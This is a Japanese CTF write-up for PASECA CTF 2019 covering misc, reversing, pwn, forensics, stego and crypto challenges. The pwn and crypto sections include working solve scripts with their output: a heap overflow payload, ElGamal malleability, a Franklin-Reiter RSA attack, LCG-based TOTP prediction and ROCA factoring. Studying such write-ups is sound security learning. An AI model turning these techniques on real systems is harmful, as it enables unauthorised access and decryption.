PASECA CTF 2019 Writeup

この大会は2019/8/24 6:00(JST)~2019/8/26 6:00(JST)に開催されました。
今回は個人で参戦。結果は7617点で192チーム中10位でした。
解けた問題をWriteupとして書いておきます。

Welcome to the PASECA CTF (Misc)

問題文にフラグが書いてあった。

paseca{sanity_check}

Holy war (Misc)

問題文にはこう書いてあった。

What's better, paseca{vim} or paseca{emacs}?

エディタは何がよいかという感じの問題らしい。
いろいろ調べて、試してを繰り返して、なんとかフラグを通した。

paseca{nano}

Trunkspin (Misc)

http://task.pase.ca:24050/で使われているswfをダウンロードし、JPEXS Free Flash Decompilerでデコンパイルする。
texts-DefineText (9)はこうなっていて、フラグが分断されて含まれている。

[
xmin 288
ymin 38
xmax 2090
ymax 1087
][
font 8
height 220
letterspacing 38
color #ff0000
x 500
y 700
]paseca{ [
letterspacing 43
x 260
y 10420
]like_a_rec [
letterspacing 33
x 500
y 10880
]ord_baby [
letterspacing 60
x 150
y 11280
] } [
letterspacing 44
x 300
y 100
] Your flag [
letterspacing 64
x 750
y 400
] is
paseca{like_a_record_baby}

Secrets storage (Misc)

サーバスクリプトを簡単にまとめると、以下の通り。

usersにadminは登録されていてtokenも作られている。

■login
・loginを指定
・loginがusersにあって、admin以外の場合、
 ・パスワード入力
  ・一致していたらauthed実行

■registration
・loginを指定
・loginがusersにない場合
 ・パスワード入力
  ・token作成
   md5(salt+login+password).encode()).hexdigest()

■authed
・1: Show secret
 ・token: loginのtoken
  ・users_secretsからtokenに対応するデータを取得
・2: New secret
 ・user_secretsにデータを登録

adminのuser_secretsのデータがフラグ

adm/inadminで登録すれば、admin/adminと同じtokenになるので、adminのuser_secretsを見ることができる。

$ nc task.pase.ca 24016
Welcome to the SecretsStore!
[1] - login
[2] - registration
[3] - quit
2
New login: adm
Password: inadmin
Success!
[1] - login
[2] - registration
[3] - quit
1
Login: adm
Password: inadmin
Welcome back adm!
[1] - Show secret
[2] - New secret
1
Your secret: paseca{th15_h0n3y_t4st35_b4d_c4us3_1t_1s_s4lty_l0000l}
paseca{th15_h0n3y_t4st35_b4d_c4us3_1t_1s_s4lty_l0000l}

baby (Reverse)

$ strings welcome-reverse.out | grep paseca
paseca{reversing_binaries_even_without_ida}
paseca{reversing_binaries_even_without_ida}

Genie (PWN)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  void *pvVar1;
  uint local_14;
  
  local_14 = 0;
  pvVar1 = calloc(0x19,1);
  *(undefined *)((long)pvVar1 + 0x18) = 3;
  puts(
      "Hi stranger! Im genie. You can make 3 wishes.\nBut real reward can be obtained only after 4wish..."
      );
  fflush((FILE *)0x0);
  do {
    if (*(char *)((long)pvVar1 + 0x18) == 0) {
      return 0;
    }
    printf("Wishes left: %u\n",(ulong)*(byte *)((long)pvVar1 + 0x18));
    fflush((FILE *)0x0);
    printf("Write your wish\n> ");
    fflush((FILE *)0x0);
    __isoc99_scanf(&DAT_00400c4f,pvVar1);
    printf("Ok, your wish is: %s\n");
    fflush((FILE *)0x0);
    local_14 = local_14 + 1;
    if ((*(char *)((long)pvVar1 + 0x18) < 4) && (3 < local_14)) {
      read_flag();
    }
    else {
      if (3 < local_14) {
        puts("Better luck next time...");
        fflush((FILE *)0x0);
        return 0;
      }
    }
    *(char *)((long)pvVar1 + 0x18) = *(char *)((long)pvVar1 + 0x18) + -1;
  } while( true );
}

上記条件を満たすよう4回目の入力ができるようにする。

from pwn import *

HOST = 'task.pase.ca'
PORT = 24051

r = remote(HOST, PORT)
data = r.recvuntil('> ')
print data
payload = 'a' * 24 + '\x03' + 'a' * 24 + '\x03' + 'a' * 24 + '\x03' + 'a' * 24 + '\x03'
print payload
r.sendline(payload)
data = r.read(8192)
print data

実行結果は以下の通り。

[+] Opening connection to task.pase.ca on port 24051: Done
Hi stranger! Im genie. You can make 3 wishes.
But real reward can be obtained only after 4 wish...
Wishes left: 3
Write your wish
> 
aaaaaaaaaaaaaaaaaaaaaaaa\x03aaaaaaaaaaaaaaaaaaaaaaa\x03aaaaaaaaaaaaaaaaaaaaaaa\x03aaaaaaaaaaaaaaaaaaaaaaa\x03
Ok, your wish is: aaaaaaaaaaaaaaaaaaaaaaaa\x03Wishes left: 2
Write your wish
> Ok, your wish is: aaaaaaaaaaaaaaaaaaaaaaaa\x03Wishes left: 2
Write your wish
> Ok, your wish is: aaaaaaaaaaaaaaaaaaaaaaaa\x03Wishes left: 2
Write your wish
> Ok, your wish is: aaaaaaaaaaaaaaaaaaaaaaaa\x03Congratulations! Your flag: paseca{sometimes_even_genie_can_make_a_mistake}
Wishes left: 2
Write your wish
> 
[*] Closed connection to task.pase.ca port 24051
paseca{sometimes_even_genie_can_make_a_mistake}

Special task (Forensic)

pcapからUSBのキー入力を読み取る。

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from scapy.all import *

keymap = { 0x04: ('a', 'A'), 0x05: ('b', 'B'), 0x06: ('c', 'C'),
           0x07: ('d', 'D'), 0x08: ('e', 'E'), 0x09: ('f', 'F'),
           0x0a: ('g', 'G'), 0x0b: ('h', 'H'), 0x0c: ('i', 'I'),
           0x0d: ('j', 'J'), 0x0e: ('k', 'K'), 0x0f: ('l', 'L'),
           0x10: ('m', 'M'), 0x11: ('n', 'N'), 0x12: ('o', 'O'),
           0x13: ('p', 'P'), 0x14: ('q', 'Q'), 0x15: ('r', 'R'),
           0x16: ('s', 'S'), 0x17: ('t', 'T'), 0x18: ('u', 'U'),
           0x19: ('v', 'V'), 0x1a: ('w', 'W'), 0x1b: ('x', 'X'),
           0x1c: ('y', 'Y'), 0x1d: ('z', 'Z'), 0x1e: ('1', '!'),
           0x1f: ('2', '@'), 0x20: ('3', '#'), 0x21: ('4', '$'),
           0x22: ('5', '%'), 0x23: ('6', '^'), 0x24: ('7', '&'),
           0x25: ('8', '*'), 0x26: ('9', '('), 0x27: ('0', ')'),
           0x28: ('\x0a', '\x0a'), 0x29: ('\x1b', '\x1b'),
           0x2a: ('\x08', '\x08'), 0x2b: ('\x09', '\x09'),
           0x2c: ('\x20', '\x20'), 0x2d: ('-', '_'),
           0x2e: ('=', '+'), 0x2f: ('[', '{'), 0x30: (']', '}'),
           0x31: ('\\', '|'), 0x33: (';', ':'), 0x34: ('\'', '\"'),
           0x35: ('`', '~'), 0x36: (',', '<'), 0x37: ('.', '>'),
           0x38: ('/', '?')}

packets = rdpcap('spy.pcap')
usb_data = []
for p in packets:
    buf = p['Raw'].load
    if buf[22] == '\x01':
        usb_data.append(buf[27:])

msg = ''
for d in usb_data:
    if d[2] == '\x00' or not('\x00' in d[3:8]):
        continue
    elif ord(d[2]) not in keymap:
        continue
    if d[0] == '\x02' or d[0] == '\x20':
        c = keymap[ord(d[2])][1]
        msg += c
    else:
        c = keymap[ord(d[2])][0]
        msg += c

print msg

この結果、以下のスクリプトが得られる。

from Crypto.Cipher import AES as aes

key = b'youareontherightway'[:16]

c = aes.new(key, aes.Mode_eax)
ct, tag = c.encrypt_and_digest(open('task.png', 'rb').read())
lol
f_o = open('out.bin', 'wb')

[f_o.write(i) for i in (c.nonce, tag, ct)]

このコードを踏まえて、out.binを復号する。

from Crypto.Cipher import AES as aes

key = b'youareontherightway'[:16]

with open('out.bin', 'rb') as f:
    data = f.read()

nonce = data[:16]
tag = data[16:32]
ct = data[32:]

c = aes.new(key, aes.MODE_EAX, nonce=nonce)
pt = c.decrypt(ct)
#print pt

with open('flag.png', 'wb') as f:
    f.write(pt)

f:id:satou-y:20190910220344p:plain

paseca{g00d_job_ag3nt_bzz}

Maximillian Mara Fon Chenko (Stego)

TrIDNETで調べると、添付ファイルはVTFファイルだった。VTFEditで開いてみる。
ImageタブのMipmapを3にすると、フラグが書いてある画像が表示された。
f:id:satou-y:20190910222416p:plain

paseca{15_t5i5_4_f4d1n6_spr4y?}

El Accordion (Crypto)

$ nc task.pase.ca 24011
Welcome to El Accordion crypto service!
Our public key: p = 50291585460399202482624787298958672852210050130841738342001836485453762518933, g = 25496159609004175511441656655124693353620337660794673359993898716018591475292, y = 7380108767899284351922910421821819856719520197431013301840838007628378867048
[1] - Get encrypted flag
[2] - Encrypt your message
[3] - Decrypt your message
[4] - Exit
1
Encrypted flag: (7418209546262193735797361390674097393466179494532153616428369872421234148490, 23230185475082299068519399009645207325592496978518974337156394478086288797041)
[1] - Get encrypted flag
[2] - Encrypt your message
[3] - Decrypt your message
[4] - Exit
2
Your message: 12
You encrypted message: (7418209546262193735797361390674097393466179494532153616428369872421234148490, 7521132047350338448723066574890388961114979772738381757953522417183148220154)
[1] - Get encrypted flag
[2] - Encrypt your message
[3] - Decrypt your message
[4] - Exit
3
TODO
[1] - Get encrypted flag
[2] - Encrypt your message
[3] - Decrypt your message
[4] - Exit
4

暗号処理の概要は以下の通り。

■encrypt
c1 = pow(g, k, p)
c2 = (pow(y, k, p) * m) % p

mが1の場合の場合の何倍かというのがわかれば、そのままフラグになる。

import socket
import re
from Crypto.Util.number import *

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('task.pase.ca', 24011))

data = recvuntil(s, 'Exit\n').rstrip()
print data

pattern = 'p = (.+), g'
m = re.search(pattern, data)
p = int(m.group(1))

print '1'
s.sendall('1\n')
data = recvuntil(s, '\n').rstrip()
print data

pattern = '\((.+), (.+)\)'
m = re.search(pattern, data)
enc_flag_2 = int(m.group(2))

print '2'
s.sendall('2\n')
data = recvuntil(s, ': ')
print data + '\x01'
s.sendall('\x01\n')
data = recvuntil(s, '\n').rstrip()
print data

pattern = '\((.+), (.+)\)'
m = re.search(pattern, data)
enc_1 = int(m.group(2))

m = (enc_flag_2 * inverse(enc_1, p)) % p
flag = long_to_bytes(m)
print flag

実行結果は以下の通り。

Welcome to El Accordion crypto service!
Our public key: p = 29646301021178032497313697447269293672426215616985694597888969717618559170777, g = 10949452677885092778025559284929973149858173125585690589357929941884125902024, y = 12119399357273094662859480690578233167837293104703846698671330898356111271157
[1] - Get encrypted flag
[2] - Encrypt your message
[3] - Decrypt your message
[4] - Exit
1
Encrypted flag: (1488527341619207664764595908095099640756766409400869556237980674754390143133, 11629283255737230454112936542302568387143949974595090726221331231297050918808)
2
[1] - Get encrypted flag
[2] - Encrypt your message
[3] - Decrypt your message
[4] - Exit
Your message: 
You encrypted message: (1488527341619207664764595908095099640756766409400869556237980674754390143133, 18161634285939021734359693076276909247752193505245109407831784439155567858286)
paseca{f4m1l14r_s0ng}
paseca{f4m1l14r_s0ng}

Another RSA task (Crypto)

$ nc task.pase.ca 24075
bzzz
public key:  (17, 123267811051417936068872147489105246393811275603888391074436279271642422709860185635480405025301116669330623366432058404377151307084200741939042036876317660581644815976865009781006668396359795598862998244737054672104429771614914437034890885419241760329181147130778372915132290966245723603309337789917061396131)
encrypted flag:  101339108116238900448327554861535921419807067467123833935875499876460852210376069681284228185703707094987012527673483689351563567212081690923588750616467541504849474611658980312651777729079921864489480412181533550093630745816553997669438824851153222101090477374764389828749183221869616809608084118776194912797
[E]ncrypt
[D]ecrypt
> E
m: 0
c: 29611702792319188103408824485004172272145167094764129243330269537459202398861243718725499174702360105164145364617532070590106752518290114277079134491380089863310193154678790516307655655219744050139620697004039066284272630321220836977990999154443935241388531033625213284863651769106423821325269601422804798070
[E]ncrypt
[D]ecrypt
> D
TODO

暗号化処理の概要は以下の通り。

public key: (e, n): e = 17
enc_flag: pow(flag, e, n)

■Encrypt
・m: 数値入力
・2進数でpとmの文字列を結合した数値にする
・この数値で暗号化

上記のことを踏まえて、Franklin-Reiter Related Message Attackで復号する。

# sage
import socket
import re
from Crypto.Util.number import *

def related_message_attack(c1, c2, diff, e, n):
    PRx.<x> = PolynomialRing(Zmod(n))
    g1 = x^e - c1
    g2 = (x+diff)^e - c2

    def gcd(g1, g2):
        while g2:
            g1, g2 = g2, g1 % g2
        return g1.monic()

    return -gcd(g1, g2)[0]

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('task.pase.ca', 24075))

data = recvuntil(s, '> ')
print data + 'E'
s.sendall('E\n')

public = eval(data.split('\n')[1].split(':  ')[1])
e = public[0]
n = public[1]
enc_flag = int(data.split('\n')[2].split(':  ')[1])

data = recvuntil(s, ': ')
print data + '2'
s.sendall('2\n')
data = recvuntil(s, '\n').rstrip()
print data
c0 = int(data.split(': ')[1])

data = recvuntil(s, '> ')
print data + 'E'
s.sendall('E\n')

data = recvuntil(s, ': ')
print data + '3'
s.sendall('3\n')
data = recvuntil(s, '\n').rstrip()
print data
c1 = int(data.split(': ')[1])

p = int((related_message_attack(c0, c1, 1, e, n) - 2) >> 2)
q = n / p
assert n == p * q

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(enc_flag, d, n)
flag = long_to_bytes(m)
print flag

実行結果は以下の通り。

bzzz
public key:  (17, 55640111080369488312548550884429343029430589585532109627388839762313431952747882197349897334466202475747733341828473542831254949248461509843433639228636387909845307277471584117498537416291894192574871698640180837138507076919691335039188932007132151261668149968360592889273719593250800428469887604952883272839)
encrypted flag:  36912231163535159687818072031792909855998366258890135345351090687753649630809000099047339131465336119370285057120716128943760172302871807861203856849258857806628158441588467921200161591184868444267410940824784635226004693952050465712929462503861660977865859784160123829490379644341795847792849817838103913272
[E]ncrypt
[D]ecrypt
> E
m: 2
c: 41003426974060264532636780529903350846352879699804073358852374070242388008152436377430030667805640844722886275018349100669214090901329385973519017203768889534970929074535191257314083418124544606540727355009459470801123228741289539248577590651394933122979146244702039650691974114649141715835439087353672608607
[E]ncrypt
[D]ecrypt
> E
m: 3
c: 32193080350353325030879018367207524361450454545459424526283449219682030170108949952334017743244748749886482520085695188412383398666362821193816056697292330616130927433754823743607874504679834108334172079231963658878452042047831804145396972219672708502647213430151722738400334239162965498463718139685249327971
paseca{pr1v4t3_key_4s_padd1ng_gr34t_1dea}
paseca{pr1v4t3_key_4s_padd1ng_gr34t_1dea}

Secure Auth (Crypto)

$ curl http://task.pase.ca:24003
<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>PASECA Secure Control System</title>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/bulma/0.7.5/css/bulma.min.css">
  </head>
  <body>
    <section class="hero is-medium is-primary is-bold">
      <div class="hero-body">
        <div class="container">
          <h1 class="title is-1">
            PASECA Secure Control System
          </h1>
        </div>
      </div>
    </section>

    <div class="container" style="margin-top: 5em">
        
        <div class="columns">
            <div class="column is-4 is-offset-4">
                <div class="box">
                    <nav id="prev-passwords" class="panel">
                        <p class="panel-heading">
                            Last 5 Passwords
                        </p>
                        <!-- LCG passwords -->
                        <a class="panel-block">LOADING</a>
                        <a class="panel-block">LOADING</a>
                        <a class="panel-block">LOADING</a>
                        <a class="panel-block">LOADING</a>
                        <a class="panel-block">LOADING</a>
                    </nav>

                    <form action="/login" method="post">
                        <div class="field">
                          <label class="label">Password</label>
                          <div class="control">
                            <input class="input" type="number" required="required" name="totp">
                          </div>
                            
                        </div>
                        <div class="control">
                          <button class="button is-primary">Login</button>
                        </div>
                    </form>

                </div>
            </div>
        </div>
        
    </div>
    
    <script>
        function update_previous_totp()
        {
            let last_totps = new Request("/last-totps");

            fetch(last_totps)
                .then(function(response) { return response.json(); })
                .then(function(data) {
                let totp = document.querySelector("#prev-passwords").querySelectorAll("a");
                totp.forEach((v, k, p) => v.textContent = data[k]);
            });
        }
        update_previous_totp();
        setInterval(update_previous_totp, 10000);
        
    </script>
    
  </body>
</html>
$ curl http://task.pase.ca:24003/last-totps
[2546524,7363293,7236404,7737564,2583924]

どうやらLCGで計算されているので、次の数字を当てたら、フラグが表示されるということらしい。modulus(=m)を総当たりでa, b, mを求め、次の値を割り出す。

import requests
from Crypto.Util.number import *

def get_a(m, seq):
    k = (seq[1] - seq[0]) % m
    inv = int(inverse(k, m))

    return (inv * (seq[2] - seq[1])) % m

base_url = 'http://task.pase.ca:24003/'

s = requests.Session()
r = s.get(base_url)
body = r.text
#print body

r = s.get(base_url + 'last-totps')
body = r.text
#print body

seq = eval(body)
print seq
max_seq = max(seq)

for m in range(max_seq, max_seq + 1000000):
    a = get_a(m, seq)
    b = (seq[1] - a * seq[0]) % m
    if (a * seq[1] + b) % m == seq[2] \
        and (a * seq[2] + b) % m == seq[3]:
        break

ans = (a * seq[-1] + b) % m
print ans

payload = {'totp': str(ans)}
r = s.post(base_url + 'login', payload)
body = r.text
print body

実行結果は以下の通り。

[4234859, 6286793, 7477800, 3478602, 3700291]
1462869
<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>PASECA Secure Control System</title>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/bulma/0.7.5/css/bulma.min.css">
  </head>
  <body>
    <section class="hero is-medium is-primary is-bold">
      <div class="hero-body">
        <div class="container">
          <h1 class="title is-1">
            PASECA Secure Control System
          </h1>
        </div>
      </div>
    </section>

    <div class="container" style="margin-top: 5em">

<div class="columns is-centered">
    <div class="column">
        <div class="box">
            <h1 class="title">Your flag: paseca{l1n34r_c0n6ru3n7_63n3r470r_15_4_v3ry_un54f3_b33}</h1>
        </div>
    </div>
</div>

    </div>


  </body>
</html>
paseca{l1n34r_c0n6ru3n7_63n3r470r_15_4_v3ry_un54f3_b33}

Boca, Joca and (Crypto)

添付のスクリプトにあるp, qの生成の方法から、ROCAの問題であるとわかる。ROCA脆弱性を持つnの値を素因数分解するためにnecaというツールを利用する。

$ ./neca 2533518484273416680526744527076070415105694309505300600842191515956287023049872818275864738915507865375824167505682003696379926562543280251434287750844677
NECA - Not Even Coppersmith's Attack
ROCA weak RSA key attack by Jannis Harder (me@jix.one)

 *** Currently only 512-bit keys are supported ***

N = 2533518484273416680526744527076070415105694309505300600842191515956287023049872818275864738915507865375824167505682003696379926562543280251434287750844677
Factoring...

 [===                     ] 12.47% elapsed: 703s left: 4933.36s total: 5636.49s

Factorization found:
N = 117287632120536376525897315212651828187586245270343201771519228951615532042991 * 21600900610472913215984241924466406437412831845460782430545141332835698275147

素因数分解できたので、あとはそのまま復号する。

from Crypto.Util.number import *

n = 2533518484273416680526744527076070415105694309505300600842191515956287023049872818275864738915507865375824167505682003696379926562543280251434287750844677
e = 65537
c = 129004287495003585102707258242341500697789427644709664498422921557824879930305360888810887386464959697534364343822749974218601464578445454172199855198387

p = 117287632120536376525897315212651828187586245270343201771519228951615532042991
q = 21600900610472913215984241924466406437412831845460782430545141332835698275147

assert n == p * q

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m)
print flag
paseca{w3ll_kn0wn_B0c4_p0pul4r_J0ca_and_leg3ndary_ROCA}